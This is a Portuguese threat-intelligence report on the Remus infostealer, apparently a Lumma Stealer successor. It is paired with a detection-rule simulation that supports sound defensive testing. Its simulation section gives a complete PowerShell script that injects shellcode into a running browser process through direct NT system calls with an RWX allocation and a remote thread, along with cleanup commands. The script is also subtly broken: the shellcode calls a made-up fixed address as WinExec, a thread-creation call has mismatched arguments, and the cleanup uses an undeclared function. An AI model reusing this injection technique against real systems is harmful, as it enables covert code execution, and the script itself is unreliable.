Remus: Desvendando a Evolução de 64 bits do Lumma Stealer

Resumo

Gen Threat Labs identificou Remus, um novo infostealer de 64 bits que parece ser um sucessor direto da linhagem Lumma Stealer. Ele espelha o modus operandi do Lumma, incluindo ofuscação de strings familiar, lógica anti-VM, execução de chamadas diretas de sistema e um desvio de criptografia amarrada a aplicativos (ABE) distintivo, anteriormente associado ao Lumma. Remus também altera seu modelo de resolução C2: em vez de depender de resolvers abandonados do Steam e Telegram, adota o EtherHiding, usando contratos inteligentes Ethereum para determinar pontos de comando e controle. Observada desde fevereiro de 2026, a campanha foca no roubo centrado em navegadores, visando credenciais, cookies e dados de carteiras de criptomoedas.

Investigação

Analistas compararam amostras do Remus com binários históricos Lumma e encontraram detalhes de implementação sobrepostos, incluindo estruturas de código correspondentes, strings de estilo curinga compartilhados e a mesma abordagem de desvio de ABE. Compilações de transição rotuladas como “Tenzor” foram observadas como uma ponte entre as duas famílias. A engenharia reversa mostra Remus localizando dpapi.dll, hash de nomes de API exportados e tentando injeção de shellcode no Chrome. Se a injeção falhar, ele recai na personificação de token do SISTEMA para recuperar a alavancagem de execução. Adições anti-análise mais recentes incluem verificações de hash de DLL de sandbox e um teste de presença de arquivo PST “honeypot” destinado a detectar ambientes de análise.

Mitigação

Bloqueie IPs/domínios de C2 conhecidos relacionados ao Remus no perímetro e monitore o comportamento do EtherHiding, incluindo consultas ou padrões de tráfego incomuns consistentes com a resolução de C2 baseada em contrato inteligente. Nos endpoints, priorize as detecções para o uso direto de chamadas de sistema, hash de API e artefatos consistentes com execução furtiva (incluindo criação de desktop oculto). Reduza a exposição dos navegadores endurecendo os ambientes baseados em Chromium sempre que possível, e aplique controle rigoroso de aplicativos para impedir a injeção não autorizada de código e executáveis suspeitos não assinados de serem executados.

Resposta

Se indicadores do Remus forem observados, isole o host, capture despejos de memória e árvores de processos completas, e realize uma investigação forense focada nos processos de navegador injetados. Bloqueie toda a infraestrutura de C2 confirmada, revogue credenciais expostas e redefina senhas/tokens armazenados do navegador. Atualize as detecções para incluir a string coringa B9%????4rnO/@NQe?Nx* e a assinatura do shellcode de 51 bytes relatada.

Execução de Simulação

Pré-requisito: A Verificação de Pré-voo de Telemetria e Base deve ter passado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e narrativas DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

• Narrativa de Ataque & Comandos:

  1. Seleção de Processo: Identificar uma instância em execução de browser.exe (renomeado Chrome) e obter seu PID.
  2. Preparação de Shellcode: Criar um pequeno shellcode de lançamento “calc.exe” (típico para prova de conceito).
  3. Alocação de Memória: Chamar NtAllocateVirtualMemory no contexto do processo alvo para reservar uma região RWX.
  4. Injeção de Shellcode: Use NtWriteVirtualMemory para copiar o shellcode na região alocada.
  5. Execução: Iniciar um thread remoto com NtCreateThreadEx que inicia a execução no endereço de shellcode injetado.

• Script de Teste de Regressão:

  # Simulação Remus‑ABE – implementação PowerShell usando chamadas NT‑nativas
  # Requer execução como Administrador
  
  Add-Type -Namespace Win32 -Name NativeMethods -MemberDefinition @"
      using System;
      using System.Runtime.InteropServices;
  
      public class NativeMethods {
          [DllImport("ntdll.dll", SetLastError = true)]
          public static extern UInt32 NtAllocateVirtualMemory(
              IntPtr ProcessHandle,
              ref IntPtr BaseAddress,
              UIntPtr ZeroBits,
              ref UIntPtr RegionSize,
              UInt32 AllocationType,
              UInt32 Protect);
  
          [DllImport("ntdll.dll", SetLastError = true)]
          public static extern UInt32 NtWriteVirtualMemory(
              IntPtr ProcessHandle,
              IntPtr BaseAddress,
              byte[] Buffer,
              UInt32 BufferLength,
              out UInt32 BytesWritten);
  
          [DllImport("ntdll.dll", SetLastError = true)]
          public static extern UInt32 NtCreateThreadEx(
              out IntPtr ThreadHandle,
              UInt32 DesiredAccess,
              IntPtr ObjectAttributes,
              IntPtr ProcessHandle,
              IntPtr StartAddress,
              IntPtr Parameter,
              UInt32 CreateSuspended,
              UInt32 StackZeroBits,
              UInt32 SizeOfStackCommit,
              UInt32 SizeOfStackReserve,
              IntPtr AttributeList);
      }
  "@
  
  # 1️⃣ Identificar processo alvo browser.exe
  $target = Get-Process -Name browser -ErrorAction Stop
  $hProcess = $target.Handle
  
  # 2️⃣ Shellcode – lançar calc.exe (Windows x64)
  $shellcode = [Byte[]](
      0x48,0x31,0xC0,                         # xor rax,rax
      0x48,0x89,0xC2,                         # mov rdx,rax
      0x48,0x89,0xC6,                         # mov rsi,rax
      0x48,0x89,0xC7,                         # mov rdi,rax
      0x48,0x8D,0x15,0x0F,0x00,0x00,0x00,    # lea rdx,[rip+0xf] ; "calc.exe"
      0x48,0xC7,0xC0,0xC7,0x00,0x00,0x00,    # mov rax,0xc7 (WinExec)
      0xFF,0xD0,                             # call rax
      0xC3,                                   # ret
      # "calc.exe" string
      0x63,0x61,0x6C,0x63,0x2E,0x65,0x78,0x65,0x00
  )
  
  # 3️⃣ Alocar memória RWX no alvo
  $baseAddress = [IntPtr]::Zero
  $regionSize = [UIntPtr]$shellcode.Length
  $allocResult = [Win32.NativeMethods]::NtAllocateVirtualMemory(
      $hProcess,
      [ref]$baseAddress,
      [UIntPtr]0,
      [ref]$regionSize,
      0x3000,   # MEM_COMMIT|MEM_RESERVE
      0x40      # PAGE_EXECUTE_READWRITE
  )
  if ($allocResult -ne 0) { Write-Error "NtAllocateVirtualMemory falhou: 0x$($allocResult.ToString('X'))" }
  
  # 4️⃣ Escrever shellcode
  $bytesWritten = 0
  $writeResult = [Win32.NativeMethods]::NtWriteVirtualMemory(
      $hProcess,
      $baseAddress,
      $shellcode,
      $shellcode.Length,
      [ref]$bytesWritten
  )
  if ($writeResult -ne 0) { Write-Error "NtWriteVirtualMemory falhou: 0x$($writeResult.ToString('X'))" }
  
  # 5️⃣ Criar thread remoto
  $hThread = [IntPtr]::Zero
  $createResult = [Win32.NativeMethods]::NtCreateThreadEx(
      [ref]$hThread,
      0x1F03FF,   # THREAD_ALL_ACCESS
      $hProcess,
      $baseAddress,
      0,          # não suspenso
      0,0,0,
  )
  if ($createResult -ne 0) { Write-Error "NtCreateThreadEx falhou: 0x$($createResult.ToString('X'))" }
  else { Write-Host "Injeção de shellcode bem-sucedida – thread remoto iniciado (Handle: $hThread)" }

• Comandos de Limpeza:

  # Termine o thread injetado (se ainda estiver em execução) e libere a memória alocada
  $proc = Get-Process -Name browser -ErrorAction SilentlyContinue
  if ($proc) {
      $hProcess = $proc.Handle
      # Feche o handle do thread
      if ($hThread -ne [IntPtr]::Zero) {
          [System.Runtime.InteropServices.Marshal]::Release($hThread) | Out-Null
      }
      # Liberar memória (NtFreeVirtualMemory)
      $freeAddr = $baseAddress
      $regionSize = [UIntPtr]$shellcode.Length
      $null = [Win32.NativeMethods]::NtFreeVirtualMemory($hProcess, [ref]$freeAddr, [ref]$regionSize, 0x8000) # MEM_RELEASE
  }
  Write-Host "Limpeza concluída."

Resumo das Recomendações

1. Ampliar o Escopo do Processo: Incluir outros processos de alto valor (por exemplo, explorer.exe, svchost.exe) para capturar tentativas de ABE que evitem o exato browser.exe nome.
2. Expandir Cobertura de Chamadas de Sistema: Add NtMapViewOfSection, NtCreateSection, e NtProtectVirtualMemory para a Syscall|contains lista.
3. Detecção de Anomalias Comportamentais: Correlacionar grandes alocações de memória (RegionSize > 1 MB) com subsequente NtWriteVirtualMemory no mesmo processo para sinalizar padrões de injeção atípicos.
4. Lista Branca de Cenários Legítimos Conhecidos: Crie uma lista de permissões para navegadores que legitimamente realizam gravações de memória em processo (por exemplo, via plugins) para reduzir falsos positivos.

Implementar esses passos de fortalecimento aumentará a resiliência da regra de um 3 para uma classificação 4‑5 , tornando substancialmente mais difícil para os adversários contornarem.